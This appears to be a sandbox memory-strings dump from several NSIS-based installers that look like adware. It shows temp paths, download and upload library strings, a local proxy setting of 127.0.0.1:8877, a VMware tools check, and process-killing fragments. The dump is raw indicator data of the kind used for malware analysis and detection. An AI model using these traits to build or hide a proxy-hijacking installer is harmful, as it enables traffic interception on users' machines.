C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm12.tmp

nsm12.tmp

nsm12.tmp

C:\a\wincheckfe.exe

C:\a\wincheckfe.exe

wincheckfe.exe

wincheckfe.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm11.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm11.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.46

Nullsoft Install System v2.46

EwyLuFd30KHCoG0EFQa8.exe_1608:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp\inetc.dll

OCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp\inetc.dll

cation Data\apEwyLuFd30KHCoG0EFQa8.html

cation Data\apEwyLuFd30KHCoG0EFQa8.html

rome.exe

rome.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp\inetc.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp\inetc.dll

Override: || AutoConfigURL: ||| ||| 6.0.2900.5512 ||ProxySettingsPerUser: 1 || ProxyEnable: 1 || ProxyEnableLM: 1

Override: || AutoConfigURL: ||| ||| 6.0.2900.5512 ||ProxySettingsPerUser: 1 || ProxyEnable: 1 || ProxyEnableLM: 1

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp

.reloc

.reloc

SShL0

SShL0

PeekNamedPipe

PeekNamedPipe

CreatePipe

CreatePipe

nsExec.dll

nsExec.dll

99|9

99|9

: :0:5:>:

: :0:5:>:

u.Uj@

u.Uj@

MSVCRT.dll

MSVCRT.dll

HttpSendRequestA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExA

HttpQueryInfoA

HttpQueryInfoA

FtpCreateDirectoryA

FtpCreateDirectoryA

FtpOpenFileA

FtpOpenFileA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpEndRequestA

HttpEndRequestA

InternetCrackUrlA

InternetCrackUrlA

WININET.dll

WININET.dll

inetc.dll

inetc.dll

Open URL Error

Open URL Error

URL Parts Error

URL Parts Error

FtpCreateDir failed (550)

FtpCreateDir failed (550)

Error FTP path (550)

Error FTP path (550)

Downloading %s

Downloading %s

%dkB (%d%%) of %dkB @ %d.dkB/s

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

(%d %s%s remaining)

REST %d

REST %d

SIZE %s

SIZE %s

Content-Length: %d

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Authorization: basic %s

Proxy-authorization: basic %s

Proxy-authorization: basic %s

%s:%s

%s:%s

FtpCommandA

FtpCommandA

wininet.dll

wininet.dll

%u MB

%u MB

%u kB

%u kB

%u bytes

%u bytes

%d:d:d

%d:d:d

%s - %s

%s - %s

(Err=%d)

(Err=%d)

NSIS_Inetc (Mozilla)

NSIS_Inetc (Mozilla)

Filename: %s

Filename: %s

/password

/password

Uploading %s

Uploading %s

9!9-9B9}9

9!9-9B9}9

g.ZO||k[

g.ZO||k[

%Documents and Settings%\%current user%\Local Settings\Application Data\apEwyLuFd30KHCoG0EFQa8.html

%Documents and Settings%\%current user%\Local Settings\Application Data\apEwyLuFd30KHCoG0EFQa8.html

A~loogg2.txt

A~loogg2.txt

KHCoG0EFQa8.html

KHCoG0EFQa8.html

PEWYL~1.HTM

PEWYL~1.HTM

UME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp\inetc.dll

UME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp\inetc.dll

ml/fide/lo2EwyLuFd30KHCoG0EFQa8.txt

ml/fide/lo2EwyLuFd30KHCoG0EFQa8.txt

ConfigURL: ||| ||| 6.0.2900.5512 ||ProxySettingsPerUser: 1 || ProxyEnable: 1 || ProxyEnableLM: 1

ConfigURL: ||| ||| 6.0.2900.5512 ||ProxySettingsPerUser: 1 || ProxyEnable: 1 || ProxyEnableLM: 1

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsu17.tmp

1464376

1464376

getcap.exe

getcap.exe

EFQa8.exe

EFQa8.exe

1495024

1495024

C:\a\EwyLuFd30KHCoG0EFQa8.exe

C:\a\EwyLuFd30KHCoG0EFQa8.exe

EwyLuFd30KHCoG0EFQa8.exe

EwyLuFd30KHCoG0EFQa8.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb10.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsb10.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

http=127.0.0.1:8877;https=127.0.0.1:8877

http=127.0.0.1:8877;https=127.0.0.1:8877

C:\a\internetport3.exe

C:\a\internetport3.exe

6.0.2900.5512

6.0.2900.5512

28211531.bat

28211531.bat

.exe" -n vmusr

.exe" -n vmusr

vchk.exe

vchk.exe

winonit.exe

winonit.exe

Nullsoft Install System v2.46

Nullsoft Install System v2.46

ttps=127.0.0.1:8877

ttps=127.0.0.1:8877

tport3.exe

tport3.exe

1.bat

1.bat

port3.exe

port3.exe

Tools\vmtoolsd.exe" -n vmusr

Tools\vmtoolsd.exe" -n vmusr

EwyLuFd30KHCoG0EFQa8.exe_1608_rwx_10004000_00001000:

callback%d

callback%d

wcheckf.exe_1828:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp\FindProcDLL.dll

~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp\FindProcDLL.dll

a\Google\Chrome\Application\chrome.exe

a\Google\Chrome\Application\chrome.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp\FindProcDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp\FindProcDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp

n\Internet Settings AutoConfigURL

n\Internet Settings AutoConfigURL

@.reloc

@.reloc

u.Uj@

u.Uj@

MSVCRT.dll

MSVCRT.dll

HttpSendRequestA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExA

HttpQueryInfoA

HttpQueryInfoA

FtpCreateDirectoryA

FtpCreateDirectoryA

FtpOpenFileA

FtpOpenFileA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpEndRequestA

HttpEndRequestA

InternetCrackUrlA

InternetCrackUrlA

WININET.dll

WININET.dll

inetc.dll

inetc.dll

Open URL Error

Open URL Error

URL Parts Error

URL Parts Error

FtpCreateDir failed (550)

FtpCreateDir failed (550)

Error FTP path (550)

Error FTP path (550)

Downloading %s

Downloading %s

%dkB (%d%%) of %dkB @ %d.dkB/s

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

(%d %s%s remaining)

REST %d

REST %d

SIZE %s

SIZE %s

Content-Length: %d

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Authorization: basic %s

Proxy-authorization: basic %s

Proxy-authorization: basic %s

%s:%s

%s:%s

FtpCommandA

FtpCommandA

wininet.dll

wininet.dll

%u MB

%u MB

%u kB

%u kB

%u bytes

%u bytes

%d:d:d

%d:d:d

%s - %s

%s - %s

(Err=%d)

(Err=%d)

NSIS_Inetc (Mozilla)

NSIS_Inetc (Mozilla)

Filename: %s

Filename: %s

/password

/password

Uploading %s

Uploading %s

9!9-9B9}9

9!9-9B9}9

!%[ %S

!%[ %S

g.ZO||k[

g.ZO||k[

nsn14.tmp

nsn14.tmp

ngs AutoConfigURL

ngs AutoConfigURL

e\Application\chrome.exe

e\Application\chrome.exe

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn14.tmp

C:\a\wcheckf.exe

C:\a\wcheckf.exe

wcheckf.exe

wcheckf.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn13.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsn13.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.46

Nullsoft Install System v2.46

wincheckfe.exe_512_rwx_10004000_00001000:

callback%d

callback%d

wcheckf.exe_1828_rwx_10004000_00001000:

callback%d

callback%d

winonit.exe_1556:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso16.tmp\KillProcDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso16.tmp\KillProcDLL.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso16.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso16.tmp

.reloc

.reloc

Kernel32.DLL

Kernel32.DLL

PSAPI.DLL

PSAPI.DLL

MSVCRT.dll

MSVCRT.dll

KillProcDLL.dll

KillProcDLL.dll

u.Uj@

u.Uj@

HttpSendRequestA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExA

HttpQueryInfoA

HttpQueryInfoA

FtpCreateDirectoryA

FtpCreateDirectoryA

FtpOpenFileA

FtpOpenFileA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpEndRequestA

HttpEndRequestA

InternetCrackUrlA

InternetCrackUrlA

WININET.dll

WININET.dll

inetc.dll

inetc.dll

Open URL Error

Open URL Error

URL Parts Error

URL Parts Error

FtpCreateDir failed (550)

FtpCreateDir failed (550)

Error FTP path (550)

Error FTP path (550)

Downloading %s

Downloading %s

%dkB (%d%%) of %dkB @ %d.dkB/s

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

(%d %s%s remaining)

REST %d

REST %d

SIZE %s

SIZE %s

Content-Length: %d

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Authorization: basic %s

Proxy-authorization: basic %s

Proxy-authorization: basic %s

%s:%s

%s:%s

FtpCommandA

FtpCommandA

wininet.dll

wininet.dll

%u MB

%u MB

%u kB

%u kB

%u bytes

%u bytes

%d:d:d

%d:d:d

%s - %s

%s - %s

(Err=%d)

(Err=%d)

NSIS_Inetc (Mozilla)

NSIS_Inetc (Mozilla)

Filename: %s

Filename: %s

/password

/password

Uploading %s

Uploading %s

9!9-9B9}9

9!9-9B9}9

\.lR%

\.lR%

g.ZO||k[

g.ZO||k[

C:\a\avv.txt

C:\a\avv.txt

avv.txt

avv.txt

m\LOCALS~1\Temp\nso16.tmp

m\LOCALS~1\Temp\nso16.tmp

ments and Settings\"%CurrentUserName%"\Local Settings\Application Data\yuntnani\vchk.exe

ments and Settings\"%CurrentUserName%"\Local Settings\Application Data\yuntnani\vchk.exe

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso16.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nso16.tmp

C:\a\winonit.exe

C:\a\winonit.exe

winonit.exe

winonit.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsy15.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsy15.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.46

Nullsoft Install System v2.46

winonit.exe_1556_rwx_10004000_00001000:

callback%d

callback%d

vchk.exe_2016:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh19.tmp\nsExec.dll

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh19.tmp\nsExec.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh19.tmp\nsExec.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh19.tmp\nsExec.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh19.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsh19.tmp

.reloc

.reloc

SShL0

SShL0

PeekNamedPipe

PeekNamedPipe

CreatePipe

CreatePipe

nsExec.dll

nsExec.dll

99|9

99|9

: :0:5:>:

: :0:5:>:

u.Uj@

u.Uj@

MSVCRT.dll

MSVCRT.dll

HttpSendRequestA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExA

HttpQueryInfoA

HttpQueryInfoA

FtpCreateDirectoryA

FtpCreateDirectoryA

FtpOpenFileA

FtpOpenFileA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpEndRequestA

HttpEndRequestA

InternetCrackUrlA

InternetCrackUrlA

WININET.dll

WININET.dll

inetc.dll

inetc.dll

Open URL Error

Open URL Error

URL Parts Error

URL Parts Error

FtpCreateDir failed (550)

FtpCreateDir failed (550)

Error FTP path (550)

Error FTP path (550)

Downloading %s

Downloading %s

%dkB (%d%%) of %dkB @ %d.dkB/s

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

(%d %s%s remaining)

REST %d

REST %d

SIZE %s

SIZE %s

Content-Length: %d

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Authorization: basic %s

Proxy-authorization: basic %s

Proxy-authorization: basic %s

%s:%s

%s:%s

FtpCommandA

FtpCommandA

wininet.dll

wininet.dll

%u MB

%u MB

%u kB

%u kB

%u bytes

%u bytes

%d:d:d

%d:d:d

%s - %s

%s - %s

(Err=%d)

(Err=%d)

NSIS_Inetc (Mozilla)

NSIS_Inetc (Mozilla)

Filename: %s

Filename: %s

/password

/password

Uploading %s

Uploading %s

9!9-9B9}9

9!9-9B9}9

g.ZO||k[

g.ZO||k[

C:\a\avchk.txt

C:\a\avchk.txt

avchk.txt

avchk.txt

\LOCALS~1\Temp\nsh19.tmp

\LOCALS~1\Temp\nsh19.tmp

hk.txt

hk.txt

.exe /t /f

.exe /t /f

jamInternetEnhancer.exe

jamInternetEnhancer.exe

fdaa-6.exe

fdaa-6.exe

"%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe"

"%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe"

%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani

%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani

vchk.exe

vchk.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsr18.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsr18.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe

%Documents and Settings%\%current user%\Local Settings\Application Data\yuntnani\vchk.exe

WajamInternetEnhancer.exe

WajamInternetEnhancer.exe

Nullsoft Install System v2.46

Nullsoft Install System v2.46

vchk.exe_2016_rwx_10004000_00001000:

callback%d

callback%d

getcap.exe_336:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

... %d%%

... %d%%

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

\a\7za.exe

\a\7za.exe

S~1\Temp\nsc1C.tmp\System.dll

S~1\Temp\nsc1C.tmp\System.dll

UME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp\System.dll

UME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp\System.dll

C:\a\ukey.ini

C:\a\ukey.ini

7za.exe

7za.exe

E~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp\System.dll

E~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp\System.dll

GetCPInfo

GetCPInfo

MB, # %s =

MB, # %s =

RAM %s

RAM %s

Data Error in encrypted file. Wrong password?

Data Error in encrypted file. Wrong password?

CRC Failed in encrypted file. Wrong password?

CRC Failed in encrypted file. Wrong password?

Unsupported Method

Unsupported Method

Can not open encrypted archive. Wrong password?

Can not open encrypted archive. Wrong password?

Unsupported archive type

Unsupported archive type

-p{Password}: set Password

-p{Password}: set Password

is not supported archive

is not supported archive

Enter password (will not be echoed):

Enter password (will not be echoed):

Advapi32.dll

Advapi32.dll

kernel32.dll

kernel32.dll

update operations are not supported for this archive

update operations are not supported for this archive

Mapi32.dll

Mapi32.dll

lzma 7z ace arc arj bz bz2 deb lzo lzx gz pak rpm sit tgz tbz tbz2 tgz cab ha lha lzh rar zoo zip jar ear war msi 3gp avi mov mpeg mpg mpe wmv aac ape fla flac la mp3 m4a mp4 ofr ogg pac ra rm rka shn swa tta wv wma wav swf chm hxi hxs gif jpeg jpg jp2 png tiff bmp ico psd psp awg ps eps cgm dxf svg vrml wmf emf ai md cad dwg pps key sxi max 3ds iso bin nrg mdf img pdi tar cpio xpi vfd vhd vud vmc vsv vmdk dsk nvram vmem vmsd vmsn vmss vmtm inl inc idl acf asa h hpp hxx c cpp cxx rc java cs pas bas vb cls ctl frm dlg def f77 f f90 f95 asm sql manifest dep mak clw csproj vcproj sln dsp dsw class bat cmd xml xsd xsl xslt hxk hxc htm html xhtml xht mht mhtml htw asp aspx css cgi jsp shtml awk sed hta js php php3 php4 php5 phptml pl pm py pyo rb sh tcl vbs text txt tex ans asc srt reg ini doc docx mcw dot rtf hlp xls xlr xlt xlw ppt pdf sxc sxd sxi sxg sxw stc sti stw stm odt ott odg otg odp otp ods ots odf abw afp cwk lwp wpd wps wpt wrf wri abf afm bdf fon mgf otf pcf pfa snf ttf dbf mdb nsf ntf wdb db fdb gdb exe dll ocx vbx sfx sys tlb awx com obj lib out o so pdb pch idb ncb opt

lzma 7z ace arc arj bz bz2 deb lzo lzx gz pak rpm sit tgz tbz tbz2 tgz cab ha lha lzh rar zoo zip jar ear war msi 3gp avi mov mpeg mpg mpe wmv aac ape fla flac la mp3 m4a mp4 ofr ogg pac ra rm rka shn swa tta wv wma wav swf chm hxi hxs gif jpeg jpg jp2 png tiff bmp ico psd psp awg ps eps cgm dxf svg vrml wmf emf ai md cad dwg pps key sxi max 3ds iso bin nrg mdf img pdi tar cpio xpi vfd vhd vud vmc vsv vmdk dsk nvram vmem vmsd vmsn vmss vmtm inl inc idl acf asa h hpp hxx c cpp cxx rc java cs pas bas vb cls ctl frm dlg def f77 f f90 f95 asm sql manifest dep mak clw csproj vcproj sln dsp dsw class bat cmd xml xsd xsl xslt hxk hxc htm html xhtml xht mht mhtml htw asp aspx css cgi jsp shtml awk sed hta js php php3 php4 php5 phptml pl pm py pyo rb sh tcl vbs text txt tex ans asc srt reg ini doc docx mcw dot rtf hlp xls xlr xlt xlw ppt pdf sxc sxd sxi sxg sxw stc sti stw stm odt ott odg otg odp otp ods ots odf abw afp cwk lwp wpd wps wpt wrf wri abf afm bdf fon mgf otf pcf pfa snf ttf dbf mdb nsf ntf wdb db fdb gdb exe dll ocx vbx sfx sys tlb awx com obj lib out o so pdb pch idb ncb opt

OLEAUT32.dll

OLEAUT32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

E%SsK*X|

E%SsK*X|

, .MN6b

, .MN6b

1%uhx

1%uhx

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp

ukey.ini

ukey.ini

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc1C.tmp

C:\a\getcap.exe

C:\a\getcap.exe

getcap.exe

getcap.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm1A.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm1A.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

Nullsoft Install System v2.46

Nullsoft Install System v2.46

H7zCon.sfx

H7zCon.sfx

7-Zip cannot load Mapi32.dll

7-Zip cannot load Mapi32.dll

A* * .tar .tar

A* * .tar .tar

B* .tar

B* .tar

getcap.exe_336_rwx_10004000_00001000:

callback%d

callback%d